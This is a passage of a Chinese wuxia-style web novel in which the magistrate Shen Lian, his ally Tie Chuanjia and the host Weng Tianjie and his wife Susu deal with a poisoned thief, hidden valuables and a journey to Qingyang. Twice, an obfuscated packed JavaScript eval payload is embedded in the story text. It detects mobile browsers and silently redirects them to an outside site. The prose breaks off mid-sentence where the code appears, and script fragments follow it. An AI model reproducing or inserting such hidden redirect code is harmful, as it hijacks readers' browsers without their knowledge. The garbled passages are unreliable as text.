沈炼说: “老师,你是想念衡山先生了么?” 阳明终于长叹一声。 那是嘉靖三年的事情,老师终于嘉靖七年过世,王夫人褚氏将那口剑寻出来给他,沈炼却将宝剑一道放进了老师的棺材。死者赠剑,为的是安慰生人,生者辞剑,是因为沈炼总觉得这把宝剑真正的主人是徐爱。那么早归于冥冥的因缘,他不能占有。 九江送来的包裹里,除书卷之外,还有一包家乡的茶叶,并着一封信。信纸很长,简直成个卷轴,他那几个狐朋狗友,你来一段,我来一段,竟然有八九种字迹在里头,而且有时候就和上下文吵了起来,读起来觉得甚为嘈杂。沈炼能够一一分辨出他们的笔迹,并从中判断出他们必定果然是已将吕光升给拉上了,不免微笑起来。 徐渭说他们在镇江开了诗会,并且把韵脚写了出来,要沈炼也和上几首;此外还向他要当年阳明写给他的几封信,要他“有的没的自管全拿出来”,因为他们的王文成公集就要出到书信的册目了。 那些信,沈炼放在家里,并没带在任上,然而一字一句,历历清楚,他于是就磨墨铺纸,从回忆中将那些信件誊录下来。王阳明住在山阴的时候,他们两家很近,所以他还收到过无数匆匆而成的便条、偷偷默下过老师随口吟的诗句。那是他的少年时代。似乎已经非常非常地遥远;再过几年,他的长子沈襄都要长到自己拜师时的年纪了,到时候,他上哪儿能给这孩子请到一位阳明公这样的老师呢? 他慢慢地在纸上写下: 不踏天真路,依稀二十年。 石门深竹径,苍峡泻云泉。* 当日老师随口占来,而他偷偷地回去誊清,锁在盒子里;至今也有二十年了。 烛火轻微地摇晃了一下。 沈炼抬眼看去,房门外传来一阵细微的响动。瞬息之间,他便投笔提剑,从一个感怀伤时的文人,变作一个锋芒毕露的剑客,掠到了门边。铁传甲立即用双手去挡,终于夹住了剑锋时,离自己的额头不过三寸。沈炼手上又使了几分力,觉得好像把剑刺进墙里了似的,不能寸进。他便归剑入鞘,微微一笑,将传甲迎进屋来,笑道: “铁兄的这一身横练功夫真是惊人,沈某不觉技痒了。” 传甲自然也知道沈炼只是玩笑,若真心要杀他时,根本不容他接得下来。便道: “县尊快别取笑了,我这无非是下下笨功夫,如今江湖上还有几人练这个?” “并非是无人肯练,只是无人能练罢了。” 沈炼说着,走到屋的另一头,挑起小炉的火来,用今天刚收到的茶叶来招待传甲,自己尝了一口,又说:“徐文长是会吃的,这茶叶实在不错。只没的好水。” 两人便对着炉火低声交谈起来。传甲说了一回当日在光岳楼上八人结拜的事情,又将他连日在翁天杰庄上的见闻讲了。 原来这翁天杰在此经营也有十年,乃是一方的豪杰,虽然家资不甚富裕,可因为他的名声大,交游广,整个东昌府都知道他的名字,则平讼解纷的一干事体,常常请了他去。许多地痞流氓聚在他家里吃饭不假,可也常为他办事。他既有了这样的声望和人脉,银两自然是流水般源源地送来了。 从外边来的客人,路过东昌,少不了要拜上他,向他请一道平安过境的信物。这时节道上并不太平,许多连绵的山头,官府无力经营,就被些土匪强盗给占了去,寻常时打劫客商,甚至绑架撕票,这都是他们常干的。可是如果过境的商人能在车前插一只翁家娘子屠苏苏亲手做的风车,那么再险峻的山岭,也能平安度过,这一关节,当日在客栈里,也由那几人为沈炼解说过了。 可是翁天杰这个人,一举一动都太澄明清白,什么想法都写在脸上,反而真令人看不透。传甲起初被他拉着结义,心中惴惴了好长时间,以为翁天杰早已将他的行藏看穿,故意地要反过来窝弄他,后来发现好像并非如此,他真的只是豪爽性格,而且想一出是一出。 “你觉得他这人怎样?” 传甲默了一晌,道: “是个好人。甚至是极好的人。” 沈炼微笑道: “好人也免不了做强盗的。” 传甲终于抬头看了他一眼,欲言又止,最后还是说: “此人在东昌十年,与历任的县令私交都不错,只有县尊始终不肯吃他的请,难免让他不安,他真要有个什么事犯在身上,暗地里琢磨来琢磨去,不知琢磨到个什么偏门儿上,铤而走险,也未可知。他几次撺掇我和边洪想法子请你去,县尊还是亲身去探一探吧。” “铁兄,你相信他真只是个‘豪杰’,而没有任何作奸犯科的举动么?豪杰的豪气,是用犯禁犯法的胆气堆出来的。” 他慢慢地说着,不知在想些什么。思索过一回以后,方道: “好罢,那么我就去会会他。铁兄,你竟当作全没今晚这回事,要是你请我去的,另外那与翁家不相与的两家,非得把我烦死不可。我自有理会处。” 翌日,沈炼竟自写了张帖子递在翁家,要借他西王官屯的那座土地庙一用,说要赶在秋收之前,讲一番学问,以启发学童向学之心,也教化乡里民风。 翁天杰接了帖子,自是大喜,和夫人早早将地方又收拾一新,甚至一时冲动还要把墙都给再粉一遍,传甲给他劝下了。简单来说,就是需要政治作秀的场所。那座土地庙是由翁家收拾出来给乡里孩子们做学堂用的,里头住着一个神官,一个坐馆的先生,一个卖野药的。另外就是佃农家里的孩子共十来个。至于翁家夫妇,则十年来并无所出。翁大嫂子借此机会,竟连十六座连庄上的其他几姓人家也都请了,欲沾沈炼的光,和乡亲们结好。整理厅堂之外,备办佳肴礼物,不在话下,专侯县尊到来。 沈炼却实在不像他这个悠闲的乡绅那样有工夫,为着赈灾的事情,他灰头土脸地忙了好一阵,数日以后才自己到驿站牵匹马,去了西王官屯。翁天杰一高兴,即宣称他也要好好地聆听县尊教诲。事实证明他这个愿望是太宏伟了,沈炼开讲以后半个时辰都没到他就睡得一塌糊涂、鼾声如雷。其他数十名名乡绅同样也都是呵欠连天,他们来这儿原本是为了奉承县令的,可是县令大人讲起“君孰与不足”来讲个没完没了,真是让人不知所措,待要为他喝两声彩儿,又太唐突了。倒是老秀才似有所感,但也觉得王阳明的学说批判朱圣人,是太离经叛道了。 课后人都散去,翁天杰又来精神了,将几位客人拉在堂上,铺陈宴席,叫沈炼上座。沈炼自斟一杯喝了,并不跟他客气,翁天杰见他虽是读书人,又是一县的父母官,身上却仍有无法洗脱的江湖习气,更是喜欢,与他推杯换盏,谈天说地,并且对沈炼拿腔拿调地说: “翁某在东昌十年,来来往往的县令也换了好几任了,谁有沈县尊这样的英雄?可是总无缘与县尊交往一番,我心里何等遗憾!今日得与县尊一晤,幸何如之?县尊,盼今后我等也不要断了交情才是。” 沈炼笑道: “可惜在下身无长物,若是没了这个县令的身份,只怕就要被人弃若敝履了。” 一帮乡绅连连对他趋奉不迭。这宴席实在热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来翁家庄离这土地庙实在不远,乡绅们有坐车来的,有坐轿来的,有骑马来的,呜呜泱泱地都往翁家庄上过。有那么几个,本来在席上就吃得差不多,出来风冷一吹,酒力发散,当时便在这个权当学堂的土地庙前头乌里哇啦地吐了一地。翁天杰便着人赶快回家去套了辆大车,把这些人搀到家中房内歇下。他却领着剩下的这些人,慢悠悠地转过自家的园子。却看这真好个园子,方乡绅本来在席上气得他要拍桌子,可是见了这亭台楼阁,也不由得叫了一声好,道: “这宅子本是昔年边千户家的,后来他家败了,宅子也卖了。他在时,这宅子我也来过一回,却不见有这般好景致。” 翁天杰笑道: “这园子是我娘子画的图样儿,描的是沧浪亭的一角儿。我俩本是南人,关起门来,就似回了家乡一样的。” 边洪笑道: “还是翁大爷和大娘子知道怎生整治园子,若还在我家手里时,也糟蹋了这块地。瞧着一池子的水,引得多好。” 原来昔年的边千户就是他和边浩兄弟二人的祖父。方乡绅便一个劲儿地瞪他,不知他怎生有脸说出这番话,边洪端的是意态自若。 “二叔,你和我生气也是白生气。你老人家还是放宽心罢。” 方乡绅愤愤地说: “我是你哪门子的二叔!” 此时园中正有一池的荷花开放,微风吹过,水波并莲叶与花瓣,全都簌簌地皱起涟漪,十分好看。方乡绅正欲赋诗一首,站在那尚没憋出来之际,从园子的另一头紧紧地迎过来一个女人,原来就是翁天杰的妻子屠氏。见了这么些男人,她也不躲不避,大大方方地道了万福,便过来与她丈夫携手在一处,又笑着招呼客人。那几个客人,有的早已吃酒醉了,色迷迷地将她容貌与裙下的一点鞋尖打量着,她连脸也不红,一门心思地只牵在她丈夫身上。翁天杰也是一门心在这娘子身上,道: “你来的巧!我们正说到这园儿好。” 苏苏笑道: “既是这么好来,一会儿,管待诸位贵客在池上亭中吃我一盏儿家酿的荷花酒。” 翁天杰道: “我以为吃完了,娘子竟又妙手变出。” 苏苏道: “我若不藏下时,你吃起来还有个够么?” 两个浓情蜜意,真叫人看得脸红。客人中有年轻的,谁不晓得男女事?因此从他二人之亲密,一径里想得极远处,至于他们脑子里是什么风光,作者又不能打开来描。只有方乡绅巴巴地冲沈炼努嘴道: “县尊!你瞧这像个样儿?这些南蛮子,全不知个体统!” 话音刚落,马上想起沈炼也是南方人,吓得酒都醒了。幸好沈炼看起来并没听他在说什么,只是极目远望,仿佛这方苏苏从记忆里描下来的园子,也牵动了他的乡愁。方乡绅遂暗自琢磨:怪道这姓沈的对他们家如此容让,敢情,这些南蛮子都是一伙的! *《石仓历代诗选-明-曹学佺》卷四百五十五 16. 依稀二十年 自从翁家请来沈县令,并众位乡绅到家中一聚后,在县里的人缘竟似好了很多。过了几天,各家又斗了分子还席。不上两个月,翁家的大娘子,闺名苏苏的,竟也能到方家的堂上坐了。方家的老太太忽然发现这位平日里作为大家嚼舌根谈资的大娘子,竟然是一位知节守礼的美人,何况翁大娘子每次来做客,礼都不虚,是以本地的几位乡绅家的妇人,都不由得爱她。几人坐在一起,叙的都是家常话,谈治家的种种繁琐事务。这一日大家聚在方家的内堂上,那刘家的娘子,就问苏苏道: “大娘子,你知道管家是难事,我们这清白读书的人家,里里外外尚且还倒不开手去,娘子庄上闲人恁多,家常怎生受得?” 话里话外,暗指众乡绅受邀到翁家庄上的那天,众人转过回廊,早听得屋后一阵嘈杂,本来他庄上到了这园子的后边就变做好一个幽静所在,若非翁天杰的心腹朋友,是不叫进来的。可是如今却是众人眼睁睁看着一帮人喊打喊杀地从厨下柴房里冲了出来,追着一个人。那人慌不择路,竟是快要撞进人堆里来了。还是边洪跳过去揪扯了他一下,道: “好没规矩!不知道大人、老爷们在这里么?” 孰料他这一拉扯之下,那人的破衣烂衫竟然给撕得破了,哗啦啦一大堆金珠玉宝从衣襟里漏了出来。在场众人都是家里有庄有田,用着许多仆从的,一见就知道这人肯定是家里的下人,偷了主人的东西,被追在这里。只是他为何又从柴房中出来呢? 许多双眼睛都等着看笑话。不多时后面的一帮人也都追到,原来铁传甲见公孙雨等人不在,知道他们或许又往柴房里聚起来赌钱了,因此上过去瞧瞧,叫他们先把摊子散了,不要让主人家当面出丑。去了一看果然如此,几个人趁着酒劲,正把一副骨牌搓得哗啦响。公孙雨喝了些酒,面色通红,此刻对翁天杰满心的不忿,嘟嘟囔囔地道: “他巴结他的有钱人家和县令老爷去了,还不准俺们在这里和朋友们乐一乐?” 传甲弯下腰来,低声道: “这些人是你哪门子的朋友!何况县尊也是英雄人物。” 又说:“难道翁大哥不曾请你去作陪,你自己一扭头走了。” 公孙雨不为所动,道: “我看不惯他这样儿。” 传甲板着脸道: “我把易二哥叫来。” 公孙雨想了想,翻了个白眼,罢了手了。他却又不忿这么乖乖地听了传甲的话,随手扯过旁边的一个什么人来,道: “你替我打完了这几圈来!” 那人浑身脏兮兮的,不巧正从他身边路过,被抓了壮丁。原来是个厨下的杂役。这人本不愿招惹这帮聚在柴房中的醉汉,悄没声地蹇进这混杂了汗味和酒气的柴房里,收拾了一捆柴,待要再溜出去的时候被公孙雨给扯住了。传甲笑道: “你和他过不去干什么?” 但是那杂役被他一拉,险些没在桌上跌了一跤,他又赶快爬起来向前猛跑。传甲目光闪动,只见这人行动笨拙,而且刚才在桌上磕了好大一声,顿时起了疑心,叫道: “有贼!”便两步追了出去,其他人都来了劲,况且知道捉住了贼,主人家当然要赏,便都一窝蜂地追出去。孰料不追还好,一大帮人全追出去,场面极其难看。及至边洪一拉一扯,原是想扯住贼人不叫他跑,想不到一下撕裂了此人衣襟,哗啦啦地财宝落了一地。当下客人们都伸长着脖子观看。幸好还没等他们看清楚,传甲就从后面追到,飞起一脚将这人踹倒在地下,刚好遮住了这堆东西。他又坐在这人身上,提起拳头来,先骂了两声,然后就打。不过总是骂得多,打得少。真打死了,则岂不是永远也问不出这桩失窃案的来龙去脉了?翁天杰自然也晓事,趁传甲骂人的工夫,赶快糊弄着众人一道远离此处,上后堂去了。 事后查起来,这杂役却是手脚不干净,偷了主人家的东西藏在柴堆里,当日他正要趁主人家摆宴的时节卷了财物逃跑,想不到正正好被人撞破。 刘家娘子当着众人提起这件事,当然就是想瞧苏苏难堪。翁家的人惯爱结交匪类,自己也和强盗之流差不离,这是本地的一个常识。苏苏仍故作镇定地道: “我丈夫是个粗豪性子,在外头结交朋友,妇道人家,哪里管得了他。俺也常劝他说,交朋友要留心一些儿,莫要往家里引出灾祸来,可是我丈夫总说,他昔日在军中,拼的是生死,若没行伍里的兄弟们帮衬,自己说早死了十八回,所以现在见了人家有难,他自己先忍不住要帮。这个贼人,原不是他的甚么朋友,竟是俺庄门外的一个叫花子似的人物,我丈夫看他可怜,才叫他往厨下寄身,想不到人就这样地无情无义,反过来坑害主人!” 说着,悲从中来,竟抽抽嗒嗒地哭了起来,道:“妾那时在南边的家里,就时时刻刻地担心他,生怕刀剑无眼,叫汉子有个三长两短。想不到他离了军中,也还是免不了要担惊受怕,万一他藏了祸心,跑到内堂去行凶呢?想想好不后怕也!” 这些妇人们原是打算看她笑话,可是见她哭得这样可怜,也不由得感慨万分。大家都是深宅的妇人,都深深地理解着做妇人的难处。那刘家的娘子,忍不住走到了苏苏的身边坐下,拉着她的手,替她往香茶里放了一勺儿熬成稠稠的糖桂花,道: “妹子,原是咱每一家有一家的难处。俺?还羡慕着你呢!好歹你的汉子是爱交朋友;男子汉要干一番事业,怎能离了朋友?这原是他的出息。我却羡慕翁老爷对你是一心一意,不像俺家那个,不管外头甚么香的臭的,只管一顶轿子抬了来家。” 说着,她还忍不住气得手发抖,险些儿把手里的茶杯子砸了,当下杯子和那小碟儿在一处磕得直作响,好像这副杯子在打冷战似的。原来这刘家的丈夫近日新娶了第五房,家里的正撕成个鸡飞狗跳。这次方老太太摆起席面儿来,一半是为了请这些媳妇们陪伴刘家娘子散心的。本地的几户人家彼此都沾亲带故,因此刘家娘子管方老太太叫声姑姑。她道: “姑娘,我家的汉子忒不像话了!他既做得出,不怪我在这儿提起。我婆婆去得早,也不能管束他些儿个。如今正在你老人家与我做主的时候了,求你老人家与我想个法儿,不然,难道让家里成个烟花巷子,成什么话?” 说着说着,忍不住和苏苏对着落下泪来,场面本来甚为滑稽,可是妇人们却都笑不出。还是苏苏哭了一阵,知道要从袖中抽出汗巾儿与刘家的娘子擦泪,道: “姐姐,过日子也只好知足罢了,你们家子息旺盛,更胜过我这样膝下一个也没有的。” 刘家的娘子哭道: “若是无儿无女,他娶进小的来也罢了,如今家中儿女双全,这分明是爷们贪恋春色,在外头玩个不住,还要把家里也弄得乌烟瘴气,还教坏了我的孩儿。待要说他,他却一心都在那小贱人身上,何曾肯听我一句半句?” 苏苏听到这里,反倒笑了,道: “哎,难道我家那个是省心的?一句话说不对,他就要大呼小叫。咱每这些妇道人家,嫁了汉子,便如得了个功名在身上似的,笼络丈夫,就好似男子汉在衙门里笼络上官,一些手段不可不知,如此把得家定,才是妇人之德。姐姐若不嫌我这些拿不上台面的小聪明,我可要向你讲些家常趣事儿,只盼姐姐莫要取笑。” 刘家娘子当即破涕为笑,低声道: “真个?” 当下如此如此,这般这般地两人低声说了一回,不时窃笑不已。那刘娘子还将一双金嵌珠点翠盘长耳环送她,这是内宫中传出来的好东西,是昔日定亲之时,刘家送的礼物,虽则十多年过去,刘娘子色衰爱驰,但她依然将这副耳环整日介戴着,如今竟然摘下来送了苏苏,众人都吃了一惊。 苏苏也当即将自己的一副翠嵌珠宝蝶纹耳环摘下来,亲手与刘娘子戴了,两人手拉着手,亲如姊妹。从此二人日渐密爱,常常过彼此庄上吃茶不提。 且说传甲当日擒住了贼人,捆在柴房里等翁天杰问话,他因惦记着那些财宝,因此不曾自己亲自看着贼人,却叫边洪等人先打着审问。他自己将宝物拾掇起来,暗暗地记住了名目,见是七八样珠翠,或者与贡物不相干,却是苏苏的妆奁也未可知。却不知沈炼瞧得真切,他却是从上官那儿,看过贡物的礼单的。 传甲撕下衣襟打了个小小包裹,散席后亲手还与翁天杰,又请他一道去审问贼人。翁天杰一声不吭,将包裹放在书房里锁了,和传甲一道过柴房来。半道上却又接了西门烈飞跑过来报告,说那贼人好端端的,竟口吐鲜血,死了。 二人连忙过来看尸体,传甲手下有准头,料自己绝不可能把人打死。翁天杰亲手翻检尸体,也未发现什么严重的外伤,于是面色更加阴沉。当时柴房里乱哄哄的,几个翁天杰心腹的人、尸体、散落一地的骨牌和柴火,并那张破桌子和几张条凳,令这个房间显得分外逼仄。翁天杰忽然对传甲道: “铁五弟,你可能瞧得出这贼人的来历?” 传甲道: “愚弟只能勉强一猜。” 他便将这人的脸给扭了过来,尸体面目狰狞,皮色青白,嘴唇发紫,嵌着深深的齿印,显然是给毒死的。这样能令人速死的剧毒,即使在江湖上流传也不广。此人的半边脸上都有狰狞的疤痕,看着相当骇人,且一只眼也废了,原是个半瞎,要不也不能慌不择路往客人堆里跑过来。当日他在翁家庄门前要饭,自叙便是小时候不慎向火炉中毁了半张脸,从此父母双亲都畏惧、嫌弃他,从小到哪儿都被人驱赶,长大了也找不到糊口的营生。翁天杰因此才心生怜悯,叫他在厨下干活。 传甲此刻却指着这疤痕道: “此人的伤疤绝不是幼时成的,看这痕迹,不超过一年。应当是专为了蒙骗大哥,自毁了容貌。” 众人都悚然震惊,只有边洪笑道: “你就呲吧!为了汉子打扮成花儿粉儿的咱见过,为了汉子把自己烧成鬼的,不曾见。” 传甲摇头道: “他那半张脸如此地怕见人,只有一个原因。” 翁天杰便已明白了。原来本朝对流刑的犯人,照例要往脸上刺字,这些人即使刑满归来,也难再做人,往往被逼得群聚为盗。茌平县外的十万大山之中,东平十虎的麾下,就不少这样的人物。 这人将脸烧得糊烂,一定就是为了掩盖刺下的字迹。翁天杰沉默良久,摆手道: “老七老八,你两个去把这人埋了吧。” 一个死人倒并没有给翁家庄的生活带来什么波澜,只是翁天杰从此叫他庄上的几个帮闲编成班次,轮番巡逻。过了几天,传甲在衙门前扯住了边洪,把他拉进驿丞的那间小屋里,提起拳头作势要打,把边洪吓得了不得,慌忙道: “铁壮士,你我往日无怨,今日无仇……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995992|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传甲瞪着眼道: “你不用在这里做些乔模样!想不到我边三哥这么一条好汉,竟然有你这么个窝囊的兄弟。” 边洪眼珠儿一转,笑道: “老哥,你用不着在我身上撒气,我知道你心里惦记着什么。” 传甲倒愣了,边洪道: “你信不信?你不去勾搭娘们儿,娘们儿自来窝弄你。你啊,自管享着天上掉下来的福分吧!……你还想揍我?我告诉你,你自有用得着我的时候,我——我——” 传甲不分青红皂白实实地把他给捶了一顿。但他的确觉得有什么事情悄悄地发生了。打从游园日以后,他再上翁家去,苏苏只把些小意儿来贴他,众人都是一样的茶水,独他的杯子里头静静地放着一小把苏苏亲手剥的松子儿。他小心伸头望望,见其他人都没发现,也只好将茶水连茶叶梗子都咽得干干净净,毁尸灭迹。原本他可以说服自己在做正义的事情,可是越来越多的时刻,当他本该思考案件的蛛丝马迹时,闯进他脑海的却是苏苏。传甲终于忍不住寻了个众人都不在的时机,道: “翁大哥,沈县尊这人果然好极了,确实有侠义风范。” 翁天杰笑道:“正是!得友如此,何其幸哉!” “那么大哥不觉得这是个千载难逢的好时机么?” 翁天杰瞧了他一眼,道: “五弟这话是什么意思?” “沈县尊是江湖人,能平江湖事,也能服江湖人的心。不像其他县令,读书人出身,将豪杰看作盗贼……” 翁天杰思想了一番,忽然拍掌道: “是了!的确是个千载难逢的好机会,五弟,真多亏了你提醒!” 传甲叹了一声,回去了,自以为这么露骨的提醒,一定会教沈炼骂个狗血淋头。 第二天翁天杰修了一封书信,叫他带给沈炼,沈炼打开看时,也不避他,两人拆出信来,却真是不知道说什么好。原来两人一心指望着翁天杰能够自首自新,没想到他送一封信给沈炼,说的却是他们中原八义当中的第六位兄弟张承勋的事。此人从七月里由翁家夫妇发送上京城赶考,到而今十一月中了,却了无音讯,仿佛人间蒸发了一般。莫说他的安危值得牵挂,他家里情形也不比寻常,因此翁天杰记挂着他,要去庆阳探望探望张家的老太爷,希望沈县令行个方便,签发一纸关凭路引。 沈炼看了,沉默半晌,竟不动声色地铺纸磨墨,将翁天杰要的文书签了,仍叫传甲给他带去。把文书交给传甲时,却说: “铁兄看得不错,他实在是个难得的好人。” 传甲郁闷地骑着驴子,走着,拿着这文书翻来覆去地瞧,忽然心中有了一个主意。他赶着来到翁家,却找不见翁天杰。正揪住个小厮问时,苏苏从后堂转来,裙摆流波也似飘摇,望着他笑道: “你大哥不知忙活什么去了,在马房里又是套车,又是叫人预备东西……现下怕不在钉马掌吧?” 传甲赶快低下头不去看她。苏苏把手上挽着的那个篮子放在桌上,吩咐人看茶来,又叫他坐。传甲不动,她道: “要是一会儿你大哥回来了,见怠慢了兄弟,不知怎生怨我呢。” 传甲道: “我还是等大哥回来了再——” “那么,你是不愿见我了?” 传甲叹了一声,坐了下来,苦笑道: “大嫂,有没有人说过你这手段一点儿也不含蓄?” 苏苏微微一笑。 两人一时无话。堂上静悄悄的,仆从们都被摒退了在下面,苏苏用她的手指,绕着一个线轴子。绕过来,绕过去。传甲道: “大嫂,我要一样东西,你肯给么?” 苏苏仍是无话。传甲又说: “我要的东西……非常珍贵。我要——” 他不知道哪里来的勇气,望着苏苏,苏苏也望着他。传甲认得出,那不是一个背着丈夫偷情的女人的眼神,而是一个为了丈夫肯付出一切,包括她的名节的女人的眼神。此刻她已经准备好交给他自己的一切:她的吻,她的柔情,她的□□。 传甲说: “我要的东西是一把铁尺。” 苏苏笑道: “好怪!要这东西来干什么?妾裁衣裳倒有把尺儿,是竹子的,可合用么?” 传甲道: “大嫂!你就信我罢。要是你有,就拿出来给我。” 苏苏飞快地绕着她的线轴,又转过脸来瞧他,道: “要是我没有呢?” 传甲却好像没听见她说什么,只是自己喃喃地道: “我准备拿它去做一件缺德事。” 苏苏无奈地笑了。 “这个呆兄弟,说的什么疯话。你要缺德,嫂子不叫你去。” 传甲张口结舌了半晌,刚要再说些什么,忽听得外头一阵乱响,原来是翁天杰大摇大摆地走上堂来,见了传甲道: “兄弟,你来得正好,我正要差人去寻你。眼下……” 说着,他走到苏苏身边,就着她的手喝了一盏茶,又叫她再倒。他在外头打点了一天,真是累得和头耕牛也似。 “眼下有一件事,非兄弟你不能办理。我想着,好歹得上庆阳看一遭儿去,兄弟你办事最是妥帖,我想叫你和我一道去。” 传甲望望翁天杰,感到说话非常困难,所以他最后只点了点头。 17. 暮角催白头 却说翁天杰与家中失盗的忙乱中,忽然抽出一截子头绪来,要到庆阳去瞧他什么盟弟的父亲,如今不知多少双眼睛在盯着翁家,他却只想着这些不相干的事情,想想不免好笑。自然,许多人的第一反应是他要趁机逃跑。只有沈炼敬他的江湖义气,愿意给他开发路引,叫他去了这一桩心事,回来老实就缚。他却到本地卫所去挑选了几个人手,派到西王官屯去加强巡逻,美其名曰防火防盗,翁家也不好拒绝。 临行之前,翁天杰特意叫传甲和他一起同去庆阳,当时有翁大娘子同在堂上,她听了,却慌的了不得,失声叫道: “这使不得!” 翁天杰低头笑道: “如何使不得?” 原来苏苏慧质兰心,早就猜出传甲接近她丈夫,为的是窥探家中的宝物,可是她本来对这些宝物看得不重,这会儿担心的只是丈夫要在路上杀死传甲灭口。则他们的生活之中,平白地又要多担负一条人命。 苏苏勉强笑道: “铁五弟有他的公事要办,怎比得上你身边那些闲人?我看你自己这趟也省下了罢,叫边三弟替你去,不好?” 他便笑了笑,道: “依你罢。”便走出去了。 像所有当家的丈夫一样,他对妻子的话也是听一半扔一半,末了,竟是边洪肯丢下衙门公事,非要和他一道去,并且变出许多花言巧语,显示自己才是最适宜的人选,更甚他那号称“白马神枪”,丰爽俊美、武功高强的兄弟。不知道的,还当边洪趋炎附势,见到翁天杰和沈县令打得火热,俨然已是真正的城中新贵,便着意去巴结。知道的,便知道他有沈炼的命令在身上。 启程时,翁天杰骑在马上,望着妻子,见她这时候倒不提什么公事不公事的了,将嘴一抿,似乎是要发怒;可是又弯下腰来,他那虎一般的身躯,向苏苏压下来,在她的脸上一吻。苏苏本在喋喋不休地向他叮嘱些路上的事,教他这么一搅和,没言语了,只是两手挽着他的缰绳。翁天杰说: “娘子。” 等苏苏看过来了,翁天杰欲言又止,最后只说: “休要挂心,我过不上两三个月就回来了。” 苏苏只把他望着,想问他难道不记得很快就要过年了?但话到嘴边又吞了回去,过了好久才说: “快些、慢些,都……不打紧。” 说着,两手慢慢地松开,滑落下去。翁天杰打马便行,边洪跟在他后面,一会儿就看不见了。 当时是十二月间,翁天杰这一去,翁家庄的门庭也未冷落,照样里里外外地有人进出,柴房里不让赌钱了,他们就转到马棚里去,偶尔叫易明湖见了,骂生骂死。此后庄上这帮闲汉就开始和老秀才做捉迷藏。苏苏堆前头的事毫不过问,只自己在内帏中做些针线,一心一意地替翁天杰绣一条腰带。那腰带上老虎的眼睛还没绣完,就到了下雪的时候。苏苏倚着窗儿望去,见一条魁梧的汉子在回廊上走着,在洁白的大雪地上留下长长的一行脚印,宛如罪证一般。她把窗户推开,笑道: “铁五弟,你昨夜辛苦了,吃我杯儿茶再走吧。” 原来为了防盗,兄弟们早就安排好了在庄上轮班守夜,传甲昨夜也来了。传甲听她这样说,踌躇了一阵子,脚把地上雪碾成一团,忽然一点头道: “正好。我有事和嫂子说。” 苏苏把他迎到堂上来,两人坐了,并不避开丫头们。传甲说: “嫂子,昨夜我们碰上了几个贼。” 苏苏目光闪动,望着他道: “‘几个’?我家这是叫个贼窝盯上啦?” “这几人鬼鬼祟祟,在庄外转来转去。有两个甚至要翻过墙来了,教易二哥给打了下去……我想问问嫂子,知道不知道这帮人的来历?” 苏苏笑道: “瞧你说的什么话,难道我请人来家里偷!” “大哥在此地十年,有没有什么仇家?” “县里的那几户人家,谁不等着瞧咱的笑话!” “我是说——道上的仇家。” 苏苏忽然将脸扭了过去,道: “这我——我不知道。你大哥在外头的事,从来我能不问就不问的。” 传甲道: “还是问问的好。” 叫他这么一逼问,苏苏不由得将夫妇迁居茌平的缘由说了出来。原来两人是少年的夫妻,苏苏不上十五岁就嫁了他,可是翁天杰常在军中,两人聚少离多,经年的分别也是常事。如是八年过去。忽有一夜,苏苏在家里点了灯纳鞋底子,却听得门外有石子打门。她心中生疑,却不敢过去开门,因为独个儿的妇人,要撑起门户来是不容易的,常常要受到本地浮浪子弟的捉弄。后来那声音停了,一个汉子粗声粗气地在外头唱歌,好像是什么醉汉在门口撒疯。但苏苏渐渐将他的歌声听进了心里去,不由得悲从中来。他唱的是本地的一首乡谣。据说是昔日唐明皇《霓凰羽衣》旧曲,可是流传到今,曲中只有无尽的萧索。 今年五月至苏州,朝钟暮角催白头。 贪看案牍常侵夜,不听笙歌直到秋。* 苏苏静悄悄地出了门,将外面的大门打开一道缝隙,却骤然落入了一个火热、结实的怀抱,原来她丈夫翁天杰夜半里来家。当即是欢喜无限,不顾夜深,整治杯盘,与丈夫洗尘。苏苏替他倒酒,且嗔道: “你只一年年地把妻子家业抛闪了,如今怎知道回来?” 翁天杰目光闪动,尽了一大杯酒,笑道: “你丈夫在外头建立的功业,你想也想不到!” 并且将包袱解开,给她看里面白花花的银子,足有数百两之多。原来是为了翁天杰的军功,皇上给的赏赐。当下他如说书的一般,将自己怎生上阵杀敌,怎生得了皇上的召见,怎生有了这等丰厚的赏赐,一一细说。苏苏哪有心思听他讲这些,一心里只爱着这个难得着家的人。 翁天杰并且向她诉说北方土地的广袤,生活的自由,当晚便要苏苏和他离开南方的这个小村落,一起去过自由自在的日子。苏苏便收拾了细软,随他出门,翁天杰抱她在马上,他在前头替她牵着缰绳。回头望着黎明时分的街道,青石板路依稀可见,她的家门,在许多挤挤挨挨的农家房屋之中显得那么小,那么凄凉,不由得转过脸来,再也不看被她忘在身后的那些东西了。 她对传甲笑道: “北方确实是好。这些年过得也甚是安闲自在。” 传甲道: “我听说,东昌府一向是个不太平的地方,就因为外头的大山,中有东平十虎作乱。听沈县尊说,东昌府上屡次要剿匪,总是办不成。这些匪徒,没和大哥为难么?” 苏苏道: “那倒没有。” 传甲笑道: “想来一定是翁大哥为人豪爽,连盗匪也敬他。可是,大嫂,盗匪都是没心肝的人,眼里除了钱财,还有什么!今天和你称兄道弟,明日就能因为一点点蝇头小利把兄弟害了。要是听说哪儿有什么宝贝,那就更顾不得了。大嫂,你当知道,匹夫无罪,怀璧其罪的道理?” 苏苏在口中把丝线咬断,道: “五弟,你说这话,我又不懂了。” 传甲道: “大嫂,你要是信我,就把东西拿来给我罢。” 苏苏深深地望着他,道: “好个‘怀璧其罪’,偏生你们男子懂得这些大道理。” “我和翁大哥是道义之交,我绝不能——不能害他。也不能眼睁睁看着他咎由自取,落得个——” 他截口不说了。苏苏笑道: 